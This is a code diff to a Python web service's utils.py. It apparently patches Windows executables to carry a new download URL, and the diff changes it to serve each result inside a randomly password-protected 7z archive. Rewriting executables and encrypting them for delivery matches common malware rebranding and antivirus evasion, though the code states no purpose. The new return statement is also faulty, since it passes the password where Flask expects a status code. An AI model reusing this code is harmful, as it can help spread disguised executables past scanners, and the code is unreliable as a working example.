Update utils.py

utils.py

@@ -187,6 +187,28 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
     except Exception as e:
         raise Exception(f"An error occurred: {e}")
 
+# Function to generate a random password
+def generate_random_password(length=12):
+    # Use a combination of letters, digits, and special characters
+    characters = string.ascii_letters + string.digits + "!@#$%^&*"
+    return ''.join(secrets.choice(characters) for _ in range(length))
+
+# Function to create an encrypted 7z archive
+def create_encrypted_7z_archive(file_path, password):
+    archive_name = generate_random_string() + ".7z"
+    archive_path = os.path.join(os.path.dirname(file_path), archive_name)
+    
+    # Use 7z command to create an encrypted archive
+    try:
+        subprocess.run([
+            "7z", "a", "-t7z", "-mx=9", "-m0=LZMA2", f"-p{password}", archive_path, file_path
+        ], check=True)
+    except subprocess.CalledProcessError as e:
+        raise Exception(f"Failed to create encrypted 7z archive: {e}")
+    
+    return archive_path
+
+# Function to process the request
 def process_request(request):
     temp_dir = None  # Initialize temp_dir to be used in the finally block
     try:
@@ -251,15 +273,19 @@ def process_request(request):
             new_string=os.path.basename(download_url)
         )
 
-        # Create a .7z archive with ultra compression and LZMA2
-        archive_name = generate_random_string() + ".7z"
-        archive_path = os.path.join(temp_dir, archive_name)
-        subprocess.run([
-            "7z", "a", "-t7z", "-mx=9", "-m0=LZMA2", archive_path, modified_pe_path
-        ], check=True)
+        # Generate a random password
+        password = generate_random_password()
+
+        # Create an encrypted 7z archive
+        archive_path = create_encrypted_7z_archive(modified_pe_path, password)
 
-        # Return the .7z file in the response
-        return send_file(archive_path, as_attachment=True, download_name=archive_name)
+        # Return the encrypted archive as a file and the password in the response
+        return send_file(
+            archive_path,
+            as_attachment=True,
+            download_name=os.path.basename(archive_path),
+            mimetype='application/octet-stream'
+        ), password
 
     except Exception as e:
         current_app.logger.error(f"An error occurred: {str(e)}")